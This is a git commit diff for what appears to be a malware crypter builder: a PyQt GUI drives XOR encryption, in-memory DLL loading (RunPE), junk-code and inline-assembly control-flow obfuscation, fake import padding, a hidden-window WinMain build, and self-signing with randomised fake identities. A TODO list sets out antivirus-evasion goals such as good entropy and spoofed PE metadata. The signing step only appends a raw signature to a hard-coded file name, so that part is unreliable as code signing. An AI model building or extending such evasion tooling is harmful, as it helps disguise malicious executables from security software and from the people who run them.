add: control flow, code signing, build status check. fix: obfuscator

This commit is contained in:
2023-09-04 16:34:24 +02:00
parent 8ee02cdff5
commit b359d4b833
9 changed files with 874 additions and 623 deletions

View File

@@ -100,17 +100,18 @@
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile> <ClCompile>
<WarningLevel>Level3</WarningLevel> <WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>true</SDLCheck> <SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode> <ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard> <LanguageStandard>stdcpp17</LanguageStandard>
<Optimization>Disabled</Optimization> <Optimization>Disabled</Optimization>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Console</SubSystem> <SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>

View File

@@ -1,2 +1,2 @@
#pragma once #pragma once
#define KEY "sfgsdf" #define KEY "ygiugefq"

61
gui.py
View File

@@ -7,11 +7,28 @@
# WARNING: Any manual changes made to this file will be lost when pyuic5 is # WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing. # run again. Do not edit this file unless you know what you are doing.
"""
TODO :
- LoadPE (KEKW)
- Good entropy
- Good Section sizes
- Add resources
- Code signing
- Change PE metadata (company, description, etc...)
- Random Windows API calls (help)
Done :
- RunPE
- Junk code
- Control flow
- IAT obfuscation (adding "normal" imports in addition to the others)
"""
from PyQt5 import QtCore, QtGui, QtWidgets from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtWidgets import QApplication from PyQt5.QtWidgets import QApplication
from PyQt5.QtCore import QCoreApplication from PyQt5.QtCore import QCoreApplication
from obfuscation import obfuscate from obfuscation import obfuscate
from sign import sign
import os, shutil import os, shutil
class Ui_mainWindow(object): class Ui_mainWindow(object):
@@ -59,11 +76,19 @@ class Ui_mainWindow(object):
self.spinBox = QtWidgets.QSpinBox(self.centralwidget) self.spinBox = QtWidgets.QSpinBox(self.centralwidget)
self.spinBox.setGeometry(QtCore.QRect(155, 118, 42, 22)) self.spinBox.setGeometry(QtCore.QRect(155, 118, 42, 22))
self.spinBox.setObjectName("spinBox") self.spinBox.setObjectName("spinBox")
self.spinBox.setValue(5) self.spinBox.setValue(6)
self.spinBox.setMinimum(1) self.spinBox.setMinimum(1)
self.label_3 = QtWidgets.QLabel(self.centralwidget) self.label_3 = QtWidgets.QLabel(self.centralwidget)
self.label_3.setGeometry(QtCore.QRect(120, 122, 47, 13)) self.label_3.setGeometry(QtCore.QRect(120, 122, 47, 13))
self.label_3.setObjectName("label_3") self.label_3.setObjectName("label_3")
self.label_4 = QtWidgets.QLabel(self.centralwidget)
self.label_4.setGeometry(QtCore.QRect(120, 142, 47, 13))
self.label_4.setObjectName("label_4")
self.spinBox_2 = QtWidgets.QSpinBox(self.centralwidget)
self.spinBox_2.setGeometry(QtCore.QRect(155, 138, 42, 22))
self.spinBox_2.setObjectName("spinBox_2")
self.spinBox_2.setValue(2)
self.spinBox_2.setMinimum(1)
self.checkBox_3 = QtWidgets.QCheckBox(self.centralwidget) self.checkBox_3 = QtWidgets.QCheckBox(self.centralwidget)
self.checkBox_3.setGeometry(QtCore.QRect(20, 140, 91, 16)) self.checkBox_3.setGeometry(QtCore.QRect(20, 140, 91, 16))
self.checkBox_3.setObjectName("checkBox_3") self.checkBox_3.setObjectName("checkBox_3")
@@ -94,6 +119,7 @@ class Ui_mainWindow(object):
self.label_2.setText(_translate("mainWindow", "")) self.label_2.setText(_translate("mainWindow", ""))
self.label_2.hide() self.label_2.hide()
self.label_3.setText(_translate("mainWindow", "Pass :")) self.label_3.setText(_translate("mainWindow", "Pass :"))
self.label_4.setText(_translate("mainWindow", "Pass :"))
self.checkBox_2.setText(_translate("mainWindow", "Add junk code")) self.checkBox_2.setText(_translate("mainWindow", "Add junk code"))
self.checkBox_3.setText(_translate("mainWindow", "Control flow")) self.checkBox_3.setText(_translate("mainWindow", "Control flow"))
@@ -137,16 +163,11 @@ class Ui_mainWindow(object):
with open("config.h", "w") as c : with open("config.h", "w") as c :
c.write(f'#pragma once\n#define KEY "{xor_key}"') c.write(f'#pragma once\n#define KEY "{xor_key}"')
if self.cflow : # Make control flow stuff self.label_2.setText("Adding junk code...")
pass QCoreApplication.processEvents()
obfuscate(self.spinBox.value(), self.spinBox_2.value(), self.cflow, self.junk)
if self.junk : # Add junk code self.label_2.setText("done.")
self.label_2.setText("Adding junk code...") QCoreApplication.processEvents()
QCoreApplication.processEvents()
print(self.spinBox.value())
obfuscate(self.spinBox.value())
self.label_2.setText("done.")
QCoreApplication.processEvents()
self.label_2.setText("Compiling...") self.label_2.setText("Compiling...")
QCoreApplication.processEvents() QCoreApplication.processEvents()
@@ -154,14 +175,24 @@ class Ui_mainWindow(object):
vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe
cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe" cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"
os.system("\""+cmd_line+"\" . /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+" /t:Rebuild") return_code = os.system("\""+cmd_line+"\" . /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;Zm=5000;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+" /t:Rebuild")
if return_code :
self.label_2.setText("build failed.")
QCoreApplication.processEvents()
else :
self.label_2.setText("Signing the file...")
QCoreApplication.processEvents()
sign(out_filename)
# Cleaning up.. # Cleaning up..
os.remove("main.cpp") os.remove("main.cpp")
os.rename("DO_NOT_TOUCH.cpp", "main.cpp") os.rename("DO_NOT_TOUCH.cpp", "main.cpp")
self.label_2.setText(f"--> {out_filename}") if not return_code :
QCoreApplication.processEvents() self.label_2.setText(f"--> {out_filename}")
QCoreApplication.processEvents()
def fileDialog(self): def fileDialog(self):
options = QtWidgets.QFileDialog.Options() options = QtWidgets.QFileDialog.Options()
options |= QtWidgets.QFileDialog.ReadOnly options |= QtWidgets.QFileDialog.ReadOnly

View File

@@ -241,13 +241,25 @@ void decrypt(const char* key) {
//END //END
} }
int main(void) void allo() {
{
//START //START
AllocConsole(); AllocConsole();
FILE* fp; FILE* fp;
freopen_s(&fp, "CONOUT$", "w", stdout); // output only freopen_s(&fp, "CONOUT$", "w", stdout); // output only
//END
}
#ifdef _DEBUG
int main(void)
#else
int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
#endif
{
//START
#ifdef _DEBUG
allo();
#endif
DEBUG_PRINTF("[+] Started\n"); DEBUG_PRINTF("[+] Started\n");
// Load the DLL from a buffer in memory // Load the DLL from a buffer in memory

View File

@@ -1,54 +1,15 @@
import os, string, re import os, string, re
from randomness import *
""" """
Creates : Creates :
- Random variables (local and globals) - Random variables (local and globals)
- Random operations on globals - Random operations on globals
- Random function definitions
- Random function calls
- Random control flow
""" """
def GetRandomBool() :
result = os.urandom(3)
r= sum(result) < 381.04
return r #average
def GetRandomNumber() :
result = os.urandom(4)
return int(sum(result))
def GetRandomRange(a, b):
if a > b:
a, b = b, a # Swap a and b if a is greater than b
range_size = b - a + 1 # Calculate the size of the range
# Calculate the number of bits required to represent all values in the range
num_bits = 0
while 2 ** num_bits < range_size:
num_bits += 1
# Generate a random number in binary representation using GetRandomBool()
random_binary = [GetRandomBool() for _ in range(num_bits)]
# Convert the binary representation to an integer within the specified range
random_integer = 0
for i, bit in enumerate(random_binary):
random_integer += bit * (2 ** i)
# Map the generated integer to the desired range [a, b]
mapped_value = a + random_integer
if mapped_value > b : return GetRandomRange(a, b)
return mapped_value
def GetRandomString(l) :
letters = string.ascii_lowercase
s = ""
while len(s) < l :
r = GetRandomRange(0, len(letters)-1)
s += letters[r]
return s
types = ["short", "unsigned short", "int", "unsigned int", "long", "unsigned long", "float", "double"] types = ["short", "unsigned short", "int", "unsigned int", "long", "unsigned long", "float", "double"]
operations = ["-", "+", "^", "*", "/"] operations = ["-", "+", "^", "*", "/"]
global_vars = {} global_vars = {}
@@ -59,7 +20,7 @@ def GetRandomVar() :
global global_vars global global_vars
global in_func global in_func
vtype = types[GetRandomRange(0, len(types)-1)] vtype = types[GetRandomRange(0, len(types)-1)]
vname = GetRandomString(10) vname = GetRandomString(15)
t = vtype + " " + vname + " = " t = vtype + " " + vname + " = "
val = str(GetRandomNumber()) val = str(GetRandomNumber())
@@ -95,7 +56,7 @@ def GetRandomOperation() :
def GetRandomFunction() : def GetRandomFunction() :
global functions global functions
name = GetRandomString(6) name = GetRandomString(15)
functions.append(name) functions.append(name)
body = "int "+name+"(const char* a1) {\n" body = "int "+name+"(const char* a1) {\n"
@@ -109,9 +70,50 @@ def CallRandomFunction() :
if len(functions) < 1 : return "" if len(functions) < 1 : return ""
sub = functions[GetRandomRange(0, len(functions)-1)] sub = functions[GetRandomRange(0, len(functions)-1)]
return "int " + GetRandomString(6) + " = " + sub + "(\""+GetRandomString(5)+"\");" return "int " + GetRandomString(15) + " = " + sub + "(\""+GetRandomString(10)+"\");"
def obfuscate(PASS) : def GetAsmBlock(branch1, branch2, var, end, sub) :
asm_block = """\n\t\tcmp eax, """+str(GetRandomNumber())+"""
jne """+branch1+"""
jmp """+branch2+"""
"""+branch1+""":"""
if GetRandomRange(0, 4) > 1 :
branch1 = GetRandomString(20)
branch2_ = GetRandomString(20)
asm_block += GetAsmBlock(branch1, branch2_, var, end, sub)
asm_block += "\n\t"+branch2+":\n\t\tmov eax, "+var+"\n\t\tcall "+sub
return asm_block
def GetRandomAssemblyBlock() :
global functions
if len(functions) < 1 : return ""
sub = functions[GetRandomRange(0, len(functions)-1)]
branch1 = GetRandomString(20)
branch2 = GetRandomString(20)
end = GetRandomString(20)
var = GetRandomString(15)
r = """const char* """+var+""" = \""""+GetRandomString(5)+"""\";\n__asm {"""
for i in range(GetRandomRange(0, 30)) :
branch1 = GetRandomString(20)
branch2 = GetRandomString(20)
end = GetRandomString(20)
r += GetAsmBlock(branch1, branch2, var, end, sub)
r += """\n};"""
return r
def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
if PASS < CFLOW_PASS : PASS = CFLOW_PASS
if not cflow and not junk : PASS = 0
global global_vars global global_vars
global functions global functions
global in_func global in_func
@@ -120,24 +122,37 @@ def obfuscate(PASS) :
f = open("DO_NOT_TOUCH.cpp", "r") f = open("DO_NOT_TOUCH.cpp", "r")
o = open("main.cpp", "w") o = open("main.cpp", "w")
out = []
lines = f.readlines() lines = f.readlines()
for k in range(PASS) : for k in range(PASS) :
in_comment = False in_comment = False
in_switch = False in_switch = False
in_asm = False in_asm = False
in_func_delay = False wait_for_func_close = False
global_vars = {} global_vars = {}
functions = [] functions = []
out = [] out = []
idx = 0
for line in lines : for line in lines :
idx += 1
out.append(line) out.append(line)
if in_func_delay and "}" in line : if idx+1 < len(lines)-1 and "//END" in lines[idx+1] or "//END" in line:
in_func = False in_func = False
in_func_delay = False wait_for_func_close = True
elif in_func_delay : continue print(f"continue1 {in_func} {line}")
continue
if wait_for_func_close and "}" in line :
in_func = False
wait_for_func_close = False
print(f"continue2 {in_func} {line}")
continue
if wait_for_func_close :
print(f"continue3 {in_func} {line}")
continue
print(in_func, line)
if "//START" in line : in_func = True if "//START" in line : in_func = True
if "/*" in line : in_comment = True if "/*" in line : in_comment = True
elif "*/" in line : in_comment = False elif "*/" in line : in_comment = False
@@ -155,10 +170,10 @@ def obfuscate(PASS) :
if b or a or in_comment or in_switch or in_asm : continue # we can't write if b or a or in_comment or in_switch or in_asm : continue # we can't write
if GetRandomBool() : # do we create a variable ? if GetRandomBool() and junk : # do we create a variable ?
out.append(GetRandomVar()+"\n") out.append(GetRandomVar()+"\n")
if GetRandomBool() and in_func : # do we do an operation on globals ? if GetRandomBool() and in_func and junk: # do we do an operation on globals ?
out.append(GetRandomOperation()+"\n") out.append(GetRandomOperation()+"\n")
if GetRandomBool() and not in_func : # do we create a function ? if GetRandomBool() and not in_func : # do we create a function ?
@@ -166,9 +181,70 @@ def obfuscate(PASS) :
if GetRandomBool() and in_func : # do we call a function ? if GetRandomBool() and in_func : # do we call a function ?
out.append(CallRandomFunction()+"\n") out.append(CallRandomFunction()+"\n")
if "//END" in line : in_func_delay = True if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ?
out.append(GetRandomAssemblyBlock()+"\n")
lines = out lines = out
fake_api = """#define k_AreFileApisANSI (*(DWORD(WINAPI *)(VOID)) AreFileApisANSI)\r\n
#define k_AssignProcessToJobObject (*(DWORD(WINAPI *)(DWORD,DWORD)) AssignProcessToJobObject)\r\n
#define k_CancelWaitableTimer (*(DWORD(WINAPI *)(DWORD)) CancelWaitableTimer)\r\n
#define k_ClearCommBreak (*(DWORD(WINAPI *)(DWORD)) ClearCommBreak)\r\n
#define k_ClearCommError (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) ClearCommError)\r\n
#define k_ConvertFiberToThread (*(DWORD(WINAPI *)(VOID)) ConvertFiberToThread)\r\n
#define k_ConvertThreadToFiber (*(DWORD(WINAPI *)(DWORD)) ConvertThreadToFiber)\r\n
#define k_CreateFiber (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) CreateFiber)\r\n
#define k_CreateFiberEx (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFiberEx)\r\n
#define k_CreateIoCompletionPort (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD)) CreateIoCompletionPort)\r\n"""
static_imports = """DWORD USER3221_Array[] = { (DWORD)GetWindowLongA, (DWORD)wvsprintfA, (DWORD)SetWindowPos, (DWORD)FindWindowA,\r\n
(DWORD)RedrawWindow, (DWORD)GetWindowTextA, (DWORD)EnableWindow, (DWORD)GetSystemMetrics,\r\n
(DWORD)IsWindow, (DWORD)CheckRadioButton, (DWORD)UnregisterClassA, (DWORD)SetCursor,\r\n
(DWORD)GetSysColorBrush, (DWORD)DialogBoxParamA, (DWORD)DestroyAcceleratorTable, (DWORD)DispatchMessageA,\r\n
(DWORD)TranslateMessage, (DWORD)LoadIconA, (DWORD)EmptyClipboard, (DWORD)SetClipboardData, (DWORD)SetFocus,\r\n
(DWORD)CharUpperA, (DWORD)OpenClipboard, (DWORD)IsDialogMessageA, (DWORD)TranslateAcceleratorA, (DWORD)GetMessageA,\r\n
(DWORD)LoadAcceleratorsA, (DWORD)RemoveMenu, (DWORD)InvalidateRect, (DWORD)ChildWindowFromPoint, (DWORD)PostMessageA,\r\n
(DWORD)DestroyCursor, (DWORD)CreateDialogParamA, (DWORD)GetWindowRect, (DWORD)IsMenu, (DWORD)GetSubMenu, (DWORD)SetDlgItemInt,\r\n
(DWORD)GetWindowPlacement, (DWORD)CharLowerBuffA, (DWORD)EnableMenuItem, (DWORD)CheckMenuRadioItem, (DWORD)GetSysColor,\r\n
(DWORD)KillTimer, (DWORD)DestroyIcon, (DWORD)DestroyWindow, (DWORD)PostQuitMessage, (DWORD)GetClientRect, (DWORD)MoveWindow,\r\n
(DWORD)GetSystemMenu, (DWORD)SetTimer, (DWORD)SetWindowPlacement, (DWORD)InsertMenuItemA, (DWORD)GetMenu, (DWORD)CheckMenuItem,\r\n
(DWORD)SetMenuItemInfoA, (DWORD)SetActiveWindow, (DWORD)DefDlgProcA, (DWORD)RegisterClassA, (DWORD)EndDialog, (DWORD)SetDlgItemTextA,\r\n
(DWORD)EnumClipboardFormats, (DWORD)GetClipboardData, (DWORD)CloseClipboard, (DWORD)GetClassInfoA, (DWORD)CallWindowProcA,\r\n
(DWORD)SetWindowLongA, (DWORD)IsDlgButtonChecked, (DWORD)SetWindowTextA, (DWORD)CheckDlgButton, (DWORD)GetActiveWindow, (DWORD)LoadCursorA,\r\n
(DWORD)MessageBoxA, (DWORD)wsprintfA, (DWORD)GetDlgItemTextA, (DWORD)SendMessageA, (DWORD)GetCursorPos, (DWORD)TrackPopupMenu,\r\n
(DWORD)ClientToScreen, (DWORD)DestroyMenu, (DWORD)CreatePopupMenu, (DWORD)AppendMenuA, (DWORD)SendDlgItemMessageA, (DWORD)GetDlgItem };\r\n
\r\n
DWORD GDI32121_Array[] = { (DWORD)GetObjectA, (DWORD)GetStockObject, (DWORD)DeleteObject, (DWORD)SetBkMode, (DWORD)SetTextColor, (DWORD)CreateFontIndirectA, (DWORD)SelectObject };\r\n
\r\n
DWORD comdlg3218_Array[] = { (DWORD)GetOpenFileNameA, (DWORD)GetSaveFileNameA };\r\n
\r\n
DWORD ADVAPI32214_Array[] = { (DWORD)RegCreateKeyA, (DWORD)RegSetValueA, (DWORD)GetUserNameA, (DWORD)RegCloseKey,\r\n
(DWORD)RegOpenKeyExA, (DWORD)AdjustTokenPrivileges, (DWORD)LookupPrivilegeValueA, (DWORD)OpenProcessToken, (DWORD)RegQueryValueExA, (DWORD)RegDeleteKeyA };\r\n
\r\n"""
fake_libs = """#pragma comment(lib,\"user32.lib\")\r\n
#pragma comment(lib,\"Comdlg32.lib\")\r\n
#pragma comment(lib,\"UrlMon.lib\")\r\n
#pragma comment(lib,\"Shell32.lib\")\r\n
#pragma comment(lib,\"oledlg.lib\")\r\n
#pragma comment(lib,\"Ole32.lib\")\r\n
#pragma comment(lib,\"AdvApi32.lib\")\r\n
#pragma comment(lib,\"WinInet.lib\")\r\n
#pragma comment(lib,\"Gdi32.lib\")\r\n
#pragma comment(lib,\"WS2_32.lib\")\r\n
#pragma comment(lib,\"opengl32.lib\")\r\n"""
fake_includes = """#include <intrin.h>\r\n
#include <Objbase.h>\r\n
#include <Callobj.h>\r\n
#include <Shellapi.h>\r\n
#include <Urlmon.h>\r\n
#include <Prsht.h>\r\n
#include <Userenv.h>\r\n"""
out.insert(0, fake_api)
out.insert(0, static_imports)
out.insert(0, fake_libs)
out.insert(0, fake_includes)
o.writelines(out) o.writelines(out)

44
randomness.py Normal file
View File

@@ -0,0 +1,44 @@
import os, string
def GetRandomBool() :
result = os.urandom(3)
r= sum(result) < 381.04
return r #average
def GetRandomNumber() :
result = os.urandom(4)
return int(sum(result))
def GetRandomRange(a, b):
if a > b:
a, b = b, a # Swap a and b if a is greater than b
range_size = b - a + 1 # Calculate the size of the range
# Calculate the number of bits required to represent all values in the range
num_bits = 0
while 2 ** num_bits < range_size:
num_bits += 1
# Generate a random number in binary representation using GetRandomBool()
random_binary = [GetRandomBool() for _ in range(num_bits)]
# Convert the binary representation to an integer within the specified range
random_integer = 0
for i, bit in enumerate(random_binary):
random_integer += bit * (2 ** i)
# Map the generated integer to the desired range [a, b]
mapped_value = a + random_integer
if mapped_value > b : return GetRandomRange(a, b)
return mapped_value
def GetRandomString(l) :
letters = string.ascii_lowercase
s = ""
while len(s) < l :
r = GetRandomRange(0, len(letters)-1)
s += letters[r]
return s

2
requirements.txt Normal file
View File

@@ -0,0 +1,2 @@
OpenSSL
pywin32==302

1088
sample.h

File diff suppressed because it is too large Load Diff

85
sign.py Normal file
View File

@@ -0,0 +1,85 @@
from OpenSSL import crypto, SSL
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from randomness import *
import subprocess
def cert_gen(
emailAddress=GetRandomString(10)+"@gmail.com",
commonName=GetRandomString(10),
countryName="NT",
localityName=GetRandomString(10),
stateOrProvinceName=GetRandomString(10),
organizationName=GetRandomString(10),
organizationUnitName=GetRandomString(10),
serialNumber=0,
validityStartInSeconds=0,
validityEndInSeconds=10*365*24*60*60,
KEY_FILE = "private.key",
CERT_FILE="selfsigned.crt"):
#can look at generated file using openssl:
#openssl x509 -inform pem -in selfsigned.crt -noout -text
# create a key pair
k = crypto.PKey()
k.generate_key(crypto.TYPE_RSA, 4096)
# create a self-signed cert
cert = crypto.X509()
cert.get_subject().C = countryName
cert.get_subject().ST = stateOrProvinceName
cert.get_subject().L = localityName
cert.get_subject().O = organizationName
cert.get_subject().OU = organizationUnitName
cert.get_subject().CN = commonName
cert.get_subject().emailAddress = emailAddress
cert.set_serial_number(serialNumber)
cert.gmtime_adj_notBefore(0)
cert.gmtime_adj_notAfter(validityEndInSeconds)
cert.set_issuer(cert.get_subject())
cert.set_pubkey(k)
cert.sign(k, 'sha512')
with open(CERT_FILE, "wt") as f:
f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode("utf-8"))
with open(KEY_FILE, "wt") as f:
f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode("utf-8"))
def sign(filename) :
cert_gen()
# Load the private key
with open('private.key', 'rb') as private_key_file:
private_key_data = private_key_file.read()
private_key = RSA.import_key(private_key_data)
# Load the .cert file (assuming it contains the certificate in PEM format)
with open('selfsigned.crt', 'rb') as cert_file:
certificate_data = cert_file.read()
# Load the .exe file to be signed
exe_to_sign = 'sample_out.exe'
with open(exe_to_sign, 'rb') as exe_file:
exe_data = exe_file.read()
# Compute the SHA-256 hash of the .exe file
hash_obj = SHA256.new(exe_data)
# Sign the hash using the private key
signature = pkcs1_15.new(private_key).sign(hash_obj)
# Save the signature to a file
with open('signature.sig', 'wb') as signature_file:
signature_file.write(signature)
# Combine the .exe file and the signature
signed_exe = exe_data + signature
# Save the signed .exe file
signed_exe_filename = 'sample_out.exe'
with open(signed_exe_filename, 'wb') as signed_exe_file:
signed_exe_file.write(signed_exe)
print(f"Successfully signed {exe_to_sign}.")
os.remove("selfsigned.crt")
os.remove("private.key")
os.remove("signature.sig")